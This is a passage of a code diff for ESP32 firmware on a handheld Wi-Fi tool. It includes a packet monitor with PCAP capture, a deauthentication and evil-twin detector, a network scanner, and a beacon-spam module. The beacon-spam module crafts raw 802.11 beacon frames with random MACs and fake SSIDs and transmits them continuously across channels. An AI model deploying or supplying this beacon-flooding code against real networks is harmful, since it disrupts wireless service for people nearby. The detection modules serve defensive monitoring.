+ esp_wifi_set_promiscuous(false); + if (pcapPacketsWritten || pcapDropped) { + Serial.printf("[PCAP] PacketMonitor stopped. written=%lu dropped=%lu\n", + (unsigned long)pcapPacketsWritten, (unsigned long)pcapDropped); + } + pcapStop(); + feature_exit_requested = true; + return; + } + + runUI(); + if (feature_exit_requested) { + esp_wifi_set_promiscuous(false); + if (pcapPacketsWritten || pcapDropped) { + Serial.printf("[PCAP] PacketMonitor stopped. written=%lu dropped=%lu\n", + (unsigned long)pcapPacketsWritten, (unsigned long)pcapDropped); + } + pcapStop(); + return; + } + updateStatusBar(); + + esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE); + + esp_wifi_set_promiscuous_rx_cb(&wifi_promiscuous); + esp_wifi_set_promiscuous(true); + + if (pcapEnabled && pcapFile && pcapWriteQ && pcapFreeQ) { + uint8_t slotIdx; + + uint16_t drained = 0; + while (drained < 12 && xQueueReceive(pcapWriteQ, &slotIdx, 0) == pdTRUE) { + if (slotIdx < PCAP_POOL_SIZE) { + PcapSlot& s = pcapPool[slotIdx]; + const size_t wroteHdr = pcapFile.write((const uint8_t*)&s.hdr, sizeof(s.hdr)); + const size_t wrotePkt = pcapFile.write(s.data, s.caplen); + if (wroteHdr == sizeof(s.hdr) && wrotePkt == s.caplen) { + pcapPacketsWritten++; + } else { + + pcapDisableAndCloseFile(); + } + } + xQueueSend(pcapFreeQ, &slotIdx, 0); + drained++; + } + + const uint32_t now = millis(); + if (pcapFile && (now - pcapLastFlushMs) > 1000) { + pcapFile.flush(); + pcapLastFlushMs = now; + } + } + + tft.drawLine(0, 90, 240, 90, TFT_WHITE); + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + + do_sampling_FFT(); + delay(10); + epoch++; + + if (epoch >= tft.width()) + epoch = 0; + + static uint32_t lastButtonTime = 0; + const uint32_t debounceDelay = 200; + + bool leftButtonState = !pcf.digitalRead(BTN_LEFT); + bool rightButtonState = !pcf.digitalRead(BTN_RIGHT); + + uint32_t currentTime = millis(); + + if (leftButtonState && !btnLeftPressed && (currentTime - lastButtonTime > debounceDelay)) { + btnLeftPressed = true; + setChannel(ch - 1); + lastButtonTime = currentTime; + } else if (!leftButtonState) { + btnLeftPressed = false; + } + + if (rightButtonState && !btnRightPressed && (currentTime - lastButtonTime > debounceDelay)) { + btnRightPressed = true; + setChannel(ch + 1); + lastButtonTime = currentTime; + } else if (!rightButtonState) { + btnRightPressed = false; + } + + pkts[127] = tmpPacketCounter; + + tmpPacketCounter = 0; + deauths = 0; + rssiSum = 0; + } +} + +namespace BeaconSpammer { + +bool btnLeftPress; +bool btnRightPress; +bool btnSelectPress; + +String ssidList[] = { + "404_SSID_Not_Found", "Free_WiFi_Promise", "PrettyFlyForAWiFi", "Wi-Fight_The_Power", + "Tell_My_WiFi_LoveHer", "Wu-Tang_LAN", "LAN_of_the_Free", "No_More_Data", + "Panic!_At_the_WiFi", "HideYoKidsHideYoWiFi", "Definitely_Not_A_Spy", "Click_and_Die", + "DropItLikeItsHotspot", "Loading...", "I_AM_Watching_You", "Why_Tho?", + "Get_Your_Own_WiFi", "NSA_Surveillance_Van", "WiFi_Fairy", "Undercover_Potato", + "TheLANBeforeTime", "ItHurtsWhen_IP", "IPFreely", "NoInternetHere", + "LookMaNoCables", "Router?IHardlyKnewHer", "ShutUpAndConnect", "Mom_UseThisOne", + "Not_for_You", "OopsAllSSID", "ItsOver9000", "Bob's_Wifi_Burgers", + "Overclocked_Toaster", "Pikachu_Used_WiFi", "Cheese_Bandit", "Quantum_Tunnel", + "Meme_LANd" +}; + +const int ssidCount = sizeof(ssidList) / sizeof(ssidList[0]); + +uint8_t spamchannel = 1; +bool spam = false; +int y_offset = 20; + +static uint8_t lastSpamChannel = 0xFF; +static bool lastSpamState = !false; + +uint8_t packet[128] = {0x80, 0x00, 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, + 0xc0, 0x6c, + 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, + 0x64, 0x00, + 0x01, 0x04, + 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, + 0x01, 0x08, 0x82, 0x84, + 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, + 0x04 + }; + +void handleLeftButton() { + spamchannel = (spamchannel == 1) ? 14 : spamchannel - 1; +} + +void handleRightButton() { + spamchannel = (spamchannel == 14) ? 1 : spamchannel + 1; +} + +void handleSelectButton() { + spam = !spam; +} + +void output() { + + tft.fillRect(0, 40, tft.width(), tft.height(), TFT_BLACK); + + tft.setTextFont(1); + tft.setTextSize(1); + tft.setTextColor(TFT_YELLOW, TFT_BLACK); + tft.setCursor(2, 30 + y_offset); + tft.print("[!] Preparing"); + + for (int i = 0; i < 3; i++) { + tft.print("."); + delay(random(1000)); + } + + tft.setCursor(2, 50 + y_offset); + tft.setTextColor(TFT_CYAN, TFT_BLACK); + tft.print("[*] Configuring channel to "); + tft.setTextColor(TFT_CYAN, TFT_BLACK); + tft.print("("); + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.print(spamchannel); + tft.setTextColor(TFT_CYAN, TFT_BLACK); + tft.print(")"); + delay(random(500)); + + tft.setCursor(2, 70 + y_offset); + tft.setTextColor(TFT_YELLOW, TFT_BLACK); + tft.print("[!] SSID generated successfully"); + delay(random(500)); + + tft.setCursor(2, 80 + y_offset); + tft.setTextColor(TFT_YELLOW, TFT_BLACK); + tft.print("[!] Setting random SRC MAC"); + delay(random(500)); + + tft.setCursor(2, 110 + y_offset); + tft.setTextColor(TFT_CYAN, TFT_BLACK); + tft.print("[*] Starting broadcast"); + delay(random(500)); + + for (int i = 0; i < 18; i++) { + tft.setCursor(2, 130 + i * 10 + y_offset); + String randomSSID = ssidList[random(ssidCount)]; + tft.setTextColor(TFT_WHITE, TFT_BLACK); + tft.print("[+] "); + tft.print(randomSSID); + delay(random(500)); + } +} + +void spammer() { + esp_wifi_set_channel(spamchannel, WIFI_SECOND_CHAN_NONE); + + for (int i = 10; i <= 21; i++) { + packet[i] = random(256); + } + + String randomSSID = ssidList[random(ssidCount)]; + int ssidLength = randomSSID.length(); + packet[37] = ssidLength; + + for (int i = 0; i < ssidLength; i++) { + packet[38 + i] = randomSSID[i]; + } + + for (int i = 38 + ssidLength; i <= 43; i++) { + packet[i] = 0x00; + } + + packet[56] = spamchannel; + + esp_wifi_80211_tx(WIFI_IF_AP, packet, 57, false); + + delay(1); +} + +void beaconSpam() { + String ssid = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_"; + byte channel; + + uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, + 0xc0, 0x6c, + 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, + 0x64, 0x00, + 0x01, 0x04, + 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, + 0x01, 0x08, 0x82, 0x84, + 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, + 0x04}; + + tft.setTextFont(1); + tft.setTextSize(1); + tft.setTextColor(UI_WARN, TFT_BLACK); + tft.fillRect(0, 40, tft.width(), tft.height(), TFT_BLACK); + tft.setCursor(2, 30 + y_offset); + tft.print("[!!] FUCK IT"); + tft.setCursor(2, 50 + y_offset); + tft.print("[!!] Press [Select] to exit"); + + delay(500); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t err = esp_wifi_init(&cfg); + if (err != ESP_OK) { + Serial.printf("WiFi init failed: %d\n", err); + return; + } + + err = esp_wifi_set_storage(WIFI_STORAGE_RAM); + if (err != ESP_OK) { + Serial.printf("Storage set failed: %d\n", err); + return; + } + + err = esp_wifi_set_mode(WIFI_MODE_AP); + if (err != ESP_OK) { + Serial.printf("Mode set failed: %d\n", err); + return; + } + + err = esp_wifi_start(); + if (err != ESP_OK) { + Serial.printf("WiFi start failed: %d\n", err); + return; + } + + err = esp_wifi_set_promiscuous(true); + if (err != ESP_OK) { + Serial.printf("Promiscuous set failed: %d\n", err); + return; + } + + while (true) { + channel = random(1, 13); + esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); + + for (int i = 10; i <= 15; i++) { + packet[i] = random(256); + } + for (int i = 16; i <= 21; i++) { + packet[i] = random(256); + } + + packet[38] = ssid[random(65)]; + packet[39] = ssid[random(65)]; + packet[40] = ssid[random(65)]; + packet[41] = ssid[random(65)]; + packet[42] = ssid[random(65)]; + packet[43] = ssid[random(65)]; + + packet[56] = channel; + + esp_err_t result; + result = esp_wifi_80211_tx(WIFI_IF_AP, packet, 57, false); + if (result != ESP_OK) { + Serial.printf("Packet 1 send failed: %d\n", result); + } + result = esp_wifi_80211_tx(WIFI_IF_AP, packet, 57, false); + if (result != ESP_OK) { + Serial.printf("Packet 2 send failed: %d\n", result); + } + result = esp_wifi_80211_tx(WIFI_IF_AP, packet, 57, false); + if (result != ESP_OK) { + Serial.printf("Packet 3 send failed: %d\n", result); + } + + delay(1); + + if (pcf.digitalRead(BTN_SELECT) == LOW) { + break; + } + + } +} + +static bool uiDrawn = false; + +void runUI() { +#define SCREEN_WIDTH 240 +#define SCREENHEIGHT 320 +#define STATUS_BAR_Y_OFFSET 20 +#define STATUS_BAR_HEIGHT 16 +#define ICON_SIZE 16 +#define ICON_NUM 5 + + static int iconX[ICON_NUM] = {130, 160, 190, 220, 10}; + static int iconY = STATUS_BAR_Y_OFFSET; + + static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_sort_down_minus, + bitmap_icon_sort_up_plus, + bitmap_icon_start, + bitmap_icon_nuke, + bitmap_icon_go_back + }; + + if (!uiDrawn) { + tft.fillRect(120, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH - 120, STATUS_BAR_HEIGHT, DARK_GRAY); + for (int i = 0; i < ICON_NUM; i++) { + if (icons[i] != NULL) { + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); + } + } + tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); + uiDrawn = true; + } + + static unsigned long lastAnimationTime = 0; + static int animationState = 0; + static int activeIcon = -1; + static unsigned long lastSpamTime = 0; + + switch (animationState) { + case 0: + break; + + case 1: + if (millis() - lastAnimationTime >= 150) { + tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); + animationState = 2; + lastAnimationTime = millis(); + } + break; + + case 2: + if (millis() - lastAnimationTime >= 200) { + animationState = 3; + lastAnimationTime = millis(); + } + break; + + case 3: + switch (activeIcon) { + case 0: + handleLeftButton(); + animationState = 0; + activeIcon = -1; + break; + case 1: + handleRightButton(); + animationState = 0; + activeIcon = -1; + break; + case 2: + handleSelectButton(); + if (spam) { + animationState = 4; + } else { + animationState = 0; + activeIcon = -1; + } + break; + case 3: + beaconSpam(); + animationState = 0; + activeIcon = -1; + break; + + case 4: + feature_exit_requested = true; + animationState = 0; + activeIcon = -1; + break; + } + break; + + case 4: + if (spam) { + if (millis() - lastSpamTime >= 50) { + spammer(); + + if (activeIcon = 3) { + output(); + } + if (activeIcon = 3) { + animationState = 5; + } + lastSpamTime = millis(); + } + } else { + animationState = 0; + activeIcon = -1; + } + break; + + case 5: + if (millis() - lastSpamTime >= 50) { + animationState = 0; + activeIcon = -1; + } + break; + } + + static unsigned long lastTouchCheck = 0; + const unsigned long touchCheckInterval = 50; + + if (millis() - lastTouchCheck >= touchCheckInterval) { + int x, y; + if (feature_active && readTouchXY(x, y)) { + if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { + for (int i = 0; i < ICON_NUM; i++) { + if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { + if (icons[i] != NULL && animationState == 0) { + + if (i == 4) { + feature_exit_requested = true; + } else { + + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); + animationState = 1; + activeIcon = i; + lastAnimationTime = millis(); + } + } + break; + } + } + } + } + lastTouchCheck = millis(); + } +} + +void beaconSpamSetup() { + + tft.fillScreen(TFT_BLACK); + + setupTouchscreen(); + + tft.setTextFont(1); + tft.setTextSize(1); + tft.setTextColor(TFT_YELLOW, TFT_BLACK); + tft.setCursor(2, 30 + y_offset); + + esp_err_t err; + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + err = esp_wifi_init(&cfg); + if (err != ESP_OK) Serial.printf("WiFi init failed: %d\n", err); + + err = esp_wifi_set_storage(WIFI_STORAGE_RAM); + if (err != ESP_OK) Serial.printf("Storage set failed: %d\n", err); + + err = esp_wifi_set_mode(WIFI_MODE_AP); + if (err != ESP_OK) Serial.printf("Mode set failed: %d\n", err); + + err = esp_wifi_start(); + if (err != ESP_OK) Serial.printf("WiFi start failed: %d\n", err); + + err = esp_wifi_set_promiscuous(true); + if (err != ESP_OK) Serial.printf("Promiscuous set failed: %d\n", err); + + pcf.pinMode(BTN_UP, INPUT_PULLUP); + pcf.pinMode(BTN_DOWN, INPUT_PULLUP); + pcf.pinMode(BTN_LEFT, INPUT_PULLUP); + pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); + + tft.print("[!] Press [UP] to start"); + + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + + lastSpamChannel = 0xFF; + lastSpamState = !spam; + + uiDrawn = false; + tft.fillRect(0, 20, 120, 16, DARK_GRAY); +} + +void beaconSpamLoop() { + + if (feature_active && isButtonPressed(BTN_SELECT)) { + feature_exit_requested = true; + return; + } + + runUI(); + updateStatusBar(); + + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + + btnLeftPress = !pcf.digitalRead(BTN_LEFT); + btnRightPress = !pcf.digitalRead(BTN_RIGHT); + btnSelectPress = !pcf.digitalRead(BTN_UP); + + delay(10); + + if (btnLeftPress) { + handleLeftButton(); + delay(200); + } + if (btnRightPress) { + handleRightButton(); + delay(200); + } + if (btnSelectPress) { + handleSelectButton(); + delay(200); + } + + if (lastSpamChannel != spamchannel || lastSpamState != spam) { + tft.setTextFont(1); + tft.fillRect(35, 20, 95, 16, DARK_GRAY); + tft.setTextColor(TFT_WHITE, DARK_GRAY); + tft.setTextSize(1); + + tft.setCursor(35, 24); + tft.print("Ch:"); + tft.print(spamchannel); + + tft.setCursor(70, 24); + tft.print(spam ? "Enabled " : "Disabled"); + + lastSpamChannel = spamchannel; + lastSpamState = spam; + } + + while (spam) { + runUI(); + if (feature_exit_requested) { + spam = false; + break; + } + + spammer(); + + if (btnSelectPress) { + output(); + } + + if (pcf.digitalRead(BTN_UP)) { + delay(50); + break; + } + } +} +} + +namespace DeauthDetect { + +#define SCREEN_HEIGHT 280 +#define LINE_HEIGHT 12 +#define MAX_LINES (SCREEN_HEIGHT / LINE_HEIGHT) + +#define MAX_NETWORKS 50 +#define MAX_CHANNELS 14 +#define MAX_SSID_LENGTH 8 + +#define SCREEN_WIDTH 240 +#define SCREENHEIGHT 320 +#define STATUS_BAR_Y_OFFSET 20 +#define STATUS_BAR_HEIGHT 16 +#define ICON_SIZE 16 +#define ICON_NUM 2 + +bool stopScan = false; +bool exitMode = false; + +String terminalBuffer[MAX_LINES]; +uint16_t colorBuffer[MAX_LINES]; +int lineIndex = 0; + +int deauth[MAX_NETWORKS] = {0}; +String ssidLists[MAX_NETWORKS]; +uint8_t macList[MAX_NETWORKS][6]; + +TaskHandle_t wifiScanTaskHandle = NULL; +TaskHandle_t uiTaskHandle = NULL; +TaskHandle_t statusBarTaskHandle = NULL; + +SemaphoreHandle_t tftSemaphore; + +static int iconX[ICON_NUM] = {210, 10}; +static int iconY = STATUS_BAR_Y_OFFSET; +static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_power, + bitmap_icon_go_back +}; + +void scrollTerminal() { + for (int i = 0; i < MAX_LINES - 1; i++) { + terminalBuffer[i] = terminalBuffer[i + 1]; + colorBuffer[i] = colorBuffer[i + 1]; + } +} + +void displayPrint(String text, uint16_t color, bool extraSpace = false) { + if (lineIndex >= MAX_LINES - 1) { + scrollTerminal(); + lineIndex = MAX_LINES - 1; + } + + terminalBuffer[lineIndex] = text; + colorBuffer[lineIndex] = color; + lineIndex++; + + if (extraSpace && lineIndex < MAX_LINES) { + terminalBuffer[lineIndex] = ""; + colorBuffer[lineIndex] = TFT_WHITE; + lineIndex++; + } + + for (int i = 0; i < lineIndex; i++) { + int yPos = i * LINE_HEIGHT + 45; + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(5, yPos, tft.width() - 10, LINE_HEIGHT, TFT_BLACK); + tft.setTextColor(colorBuffer[i], TFT_BLACK); + tft.setCursor(5, yPos); + tft.print(terminalBuffer[i]); + } +} + +void checkButtonPress() { + if (!pcf.digitalRead(BTN_UP)) { + vTaskDelay(200 / portTICK_PERIOD_MS); + if (!stopScan) { + stopScan = true; + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + displayPrint("[!] Scanning Stopped", UI_WARN, true); + displayPrint("[!] Press [Select] to Exit", UI_WARN, false); + xSemaphoreGive(tftSemaphore); + } else { + exitMode = true; + } + } +} + +void snifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { + if (stopScan || exitMode) return; + + wifi_promiscuous_pkt_t* packet = (wifi_promiscuous_pkt_t*) buf; + uint8_t* payload = packet->payload; + + if (type == WIFI_PKT_MGMT) { + uint8_t frameType = payload[0]; + + if (frameType == 0xC0) { + uint8_t senderMAC[6]; + memcpy(senderMAC, payload + 10, 6); + + for (int i = 0; i < MAX_NETWORKS; i++) { + if (memcmp(senderMAC, macList[i], 6) == 0) { + deauth[i]++; + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + displayPrint("[!] Deauth Attack on: " + ssidLists[i], UI_WARN, true); + xSemaphoreGive(tftSemaphore); + break; + } + } + } + } +} + +void analyzeNetworks(int n) { + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + displayPrint("[*] Checking for Suspicious Networks", TFT_CYAN, true); + xSemaphoreGive(tftSemaphore); + + for (int i = 0; i < n; i++) { + checkButtonPress(); + if (exitMode) return; + + bool isDuplicate = false; + bool isHidden = (ssidLists[i] == ""); + bool isWeirdChannel = WiFi.channel(i) > 13; + + for (int j = 0; j < n; j++) { + if (i != j && ssidLists[i] == ssidLists[j] && memcmp(macList[i], macList[j], 6) != 0) { + isDuplicate = true; + break; + } + } + + if (isHidden) { + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + displayPrint("[!] Hidden SSID Detected!", TFT_YELLOW, true); + xSemaphoreGive(tftSemaphore); + } + if (isDuplicate) { + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + displayPrint("[!] Evil Twin: " + ssidLists[i], TFT_YELLOW, true); + xSemaphoreGive(tftSemaphore); + } + if (isWeirdChannel) { + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + displayPrint("[!] Non-Standard Channel: " + String(WiFi.channel(i)), TFT_YELLOW, true); + xSemaphoreGive(tftSemaphore); + } + + if (deauth[i] > 5) { + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + displayPrint("[!!!] HIGH DEAUTH ATTACK on " + ssidLists[i] + " (" + String(deauth[i]) + " attacks)", UI_WARN, true); + xSemaphoreGive(tftSemaphore); + } + } +} + +void scanWiFiTask(void *param) { + while (1) { + checkButtonPress(); + if (exitMode) { + vTaskDelay(10 / portTICK_PERIOD_MS); + break; + } + if (stopScan) { + vTaskDelay(10 / portTICK_PERIOD_MS); + continue; + } + + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + displayPrint("[*] Scanning WiFi networks", TFT_CYAN, true); + xSemaphoreGive(tftSemaphore); + + int n = WiFi.scanNetworks(); + if (exitMode) { + vTaskDelay(10 / portTICK_PERIOD_MS); + break; + } + if (stopScan) { + vTaskDelay(10 / portTICK_PERIOD_MS); + continue; + } + + for (int i = 0; i < n && i < MAX_NETWORKS; i++) { + String fullSSID = WiFi.SSID(i); + ssidLists[i] = fullSSID.substring(0, MAX_SSID_LENGTH); + const uint8_t *bssid = WiFi.BSSID(i); + memcpy(macList[i], bssid, 6); + + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + displayPrint("[+] " + ssidLists[i] + (fullSSID.length() > MAX_SSID_LENGTH ? "..." : "") + + " | CH: " + String(WiFi.channel(i)) + + " | RSSI: " + String(WiFi.RSSI(i)), TFT_WHITE); + xSemaphoreGive(tftSemaphore); + + if (exitMode) { + vTaskDelay(10 / portTICK_PERIOD_MS); + break; + } + if (stopScan) { + vTaskDelay(10 / portTICK_PERIOD_MS); + break; + } + } + analyzeNetworks(n); + vTaskDelay(5000 / portTICK_PERIOD_MS); + } + wifiScanTaskHandle = NULL; + vTaskDelete(NULL); +} + +static bool uiDrawn = false; + +void runUI() { + + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + + static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_start, + bitmap_icon_go_back + }; + + if (!uiDrawn) { + tft.setTextFont(1); + tft.fillRect(0, 20, 140, 16, DARK_GRAY); + tft.setTextColor(TFT_WHITE); + tft.setTextSize(1); + tft.setCursor(35, 24); + tft.print("Scanning WiFi"); + + tft.drawLine(0, 19, 240, 19, TFT_WHITE); + tft.fillRect(140, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH - 140, STATUS_BAR_HEIGHT, DARK_GRAY); + + for (int i = 0; i < ICON_NUM; i++) { + if (icons[i] != NULL) { + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); + } + } + tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); + uiDrawn = true; + } + + static unsigned long lastAnimationTime = 0; + static int animationState = 0; + static int activeIcon = -1; + + if (animationState > 0 && millis() - lastAnimationTime >= 150) { + if (animationState == 1) { + tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); + animationState = 2; + + switch (activeIcon) { + case 0: + displayPrint("[!] Scanning Stopped", UI_WARN, true); + displayPrint("[!] Press [Select] to Exit", UI_WARN, false); + stopScan = true; + animationState = 0; + activeIcon = -1; + break; + } + } else if (animationState == 2) { + animationState = 0; + activeIcon = -1; + } + lastAnimationTime = millis(); + } + + static unsigned long lastTouchCheck = 0; + const unsigned long touchCheckInterval = 50; + + if (millis() - lastTouchCheck >= touchCheckInterval) { + int x, y; + if (feature_active && readTouchXY(x, y)) { + if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { + for (int i = 0; i < ICON_NUM; i++) { + if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { + if (icons[i] != NULL && animationState == 0) { + + if (i == 1) { + displayPrint("[!] Scanning Stopped", UI_WARN, true); + stopScan = true; + exitMode = true; + } else { + + tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); + animationState = 1; + activeIcon = i; + lastAnimationTime = millis(); + } + } + break; + } + } + } + } + lastTouchCheck = millis(); + } +} + +void uiTask(void *param) { + while (1) { + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + runUI(); + xSemaphoreGive(tftSemaphore); + vTaskDelay(50 / portTICK_PERIOD_MS); + } +} + +void statusBarTask(void *param) { + while (1) { + xSemaphoreTake(tftSemaphore, portMAX_DELAY); + updateStatusBar(); + xSemaphoreGive(tftSemaphore); + vTaskDelay(1000 / portTICK_PERIOD_MS); + } +} + +void deauthdetectSetup() { + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(snifferCallback); + + tft.fillScreen(TFT_BLACK); + + float currentBatteryVoltage = readBatteryVoltage(); + drawStatusBar(currentBatteryVoltage, true); + + pcf.pinMode(BTN_UP, INPUT_PULLUP); + pcf.pinMode(BTN_DOWN, INPUT_PULLUP); + pcf.pinMode(BTN_LEFT, INPUT_PULLUP); + pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); + + setupTouchscreen(); + + tftSemaphore = xSemaphoreCreateMutex(); + + xTaskCreate(scanWiFiTask, "WiFiScanTask", 4096, NULL, 1, &wifiScanTaskHandle); + xTaskCreate(uiTask, "UITask", 4096, NULL, 2, &uiTaskHandle); + xTaskCreate(statusBarTask, "StatusBarTask", 2048, NULL, 1, &statusBarTaskHandle); + + uiDrawn = false; +} + +void deauthdetectLoop() { + + if (feature_active && isButtonPressed(BTN_SELECT)) { + stopScan = true; + exitMode = true; + } + + checkButtonPress(); + + if (stopScan || exitMode) { + + if (wifiScanTaskHandle != NULL) { + vTaskDelete(wifiScanTaskHandle); + wifiScanTaskHandle = NULL; + } + if (uiTaskHandle != NULL) { + vTaskDelete(uiTaskHandle); + uiTaskHandle = NULL; + } + if (statusBarTaskHandle != NULL) { + vTaskDelete(statusBarTaskHandle); + statusBarTaskHandle = NULL; + } + + esp_wifi_set_promiscuous(false); + WiFi.disconnect(); + stopScan = false; + exitMode = false; + lineIndex = 0; + delay(10); + + feature_exit_requested = true; + } +} +} + +namespace WifiScan { + +#define TFT_WIDTH 240 +#define TFT_HEIGHT 320 + +#define SCREEN_WIDTH 240 +#define SCREENHEIGHT 320 +#define STATUS_BAR_Y_OFFSET 20 +#define STATUS_BAR_HEIGHT 16 +#define ICON_SIZE 16 +#define ICON_NUM 2 + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isScanning = false; +bool exitRequested = false; + +static TaskHandle_t bgScanTaskHandle = nullptr; +static volatile bool bgHasResults = false; +static volatile uint32_t bgLastScanMs = 0; +static const uint32_t BG_SCAN_INTERVAL_MS = 15000; + +static const uint32_t BG_BOOT_GRACE_MS = 6000; +static volatile bool bgScanRunning = false; +static uint32_t bgBootMs = 0; + +static void bgWifiScanTask(void* ) { + for (;;) { + const uint32_t now = millis(); + if (bgBootMs == 0) bgBootMs = now; + + const bool idleOk = (now - bgBootMs) > BG_BOOT_GRACE_MS; + if (settings().autoWifiScan && idleOk && !feature_active && !in_sub_menu) { + + if (!bgScanRunning) { + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + WiFi.scanDelete(); + int ret = WiFi.scanNetworks(true, true); + + bgScanRunning = (ret == WIFI_SCAN_RUNNING); + if (ret >= 0) { + + bgHasResults = true; + bgLastScanMs = now; + vTaskDelay(BG_SCAN_INTERVAL_MS / portTICK_PERIOD_MS); + } else if (!bgScanRunning) { + + vTaskDelay(2000 / portTICK_PERIOD_MS); + } else { + vTaskDelay(250 / portTICK_PERIOD_MS); + } + } else { + int n = WiFi.scanComplete(); + if (n >= 0) { + bgHasResults = true; + bgLastScanMs = now; + bgScanRunning = false; + vTaskDelay(BG_SCAN_INTERVAL_MS / portTICK_PERIOD_MS); + } else if (n == WIFI_SCAN_FAILED) { + bgScanRunning = false; + WiFi.scanDelete(); + vTaskDelay(2000 / portTICK_PERIOD_MS); + } else { + + vTaskDelay(250 / portTICK_PERIOD_MS); + } + } + } else { + + bgScanRunning = false; + vTaskDelay(1000 / portTICK_PERIOD_MS); + } + } +} + +void startBackgroundScanner() { + if (bgScanTaskHandle != nullptr) return; + xTaskCreatePinnedToCore( + bgWifiScanTask, + "bgWifiScan", + 4096, + nullptr, + 1, + &bgScanTaskHandle, + 0 + ); +} + +int getLastCount() { + + if (!settings().autoWifiScan) return 0; + int n = WiFi.scanComplete(); + return (n < 0) ? 0 : n; +} + +unsigned long scan_StartTime = 0; +const unsigned long scanTimeout = 2000; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +#define MAX_SSID_LENGTH 10 +#define LIST_TOP (STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT + 15) +#define LIST_ITEM_HEIGHT 18 +#define MAX_VISIBLE_ITEMS 14 + +static bool uiDrawn = false; + +static int iconX[ICON_NUM] = {210, 10}; +static const unsigned char* icons[ICON_NUM] = { + bitmap_icon_undo, + bitmap_icon_go_back +}; + +void displayWiFiList(bool fullRedraw = false) { + uiDrawn = false; + int networkCount = WiFi.scanComplete(); + + if (fullRedraw || networkCount <= 0) { + tft.fillRect(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, TFT_WIDTH, TFT_HEIGHT - (STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT), TFT_BLACK); + + tft.fillRect(0, 20, 140, 16, DARK_GRAY); + tft.setTextColor(TFT_WHITE); + tft.setCursor(35, 24); + tft.print("WiFi Networks:"); + + if (networkCount <= 0) { + tft.fillRect(0, 20, 140, 16, DARK_GRAY); + tft.setTextColor(TFT_WHITE); + tft.setCursor(5, 24); + tft.print("No Networks Found"); + return; + } + + tft.setTextColor(TFT_WHITE, TFT_BLACK); + + for (int i = 0; i < MAX_VISIBLE_ITEMS; i++) { + int currentNetworkIndex = i + listStartIndex; + if (currentNetworkIndex >= networkCount) break; + + String fullSSID = WiFi.SSID(currentNetworkIndex); + String ssid = fullSSID.substring(0, MAX_SSID_LENGTH); + int rssi = WiFi.RSSI(currentNetworkIndex); + int 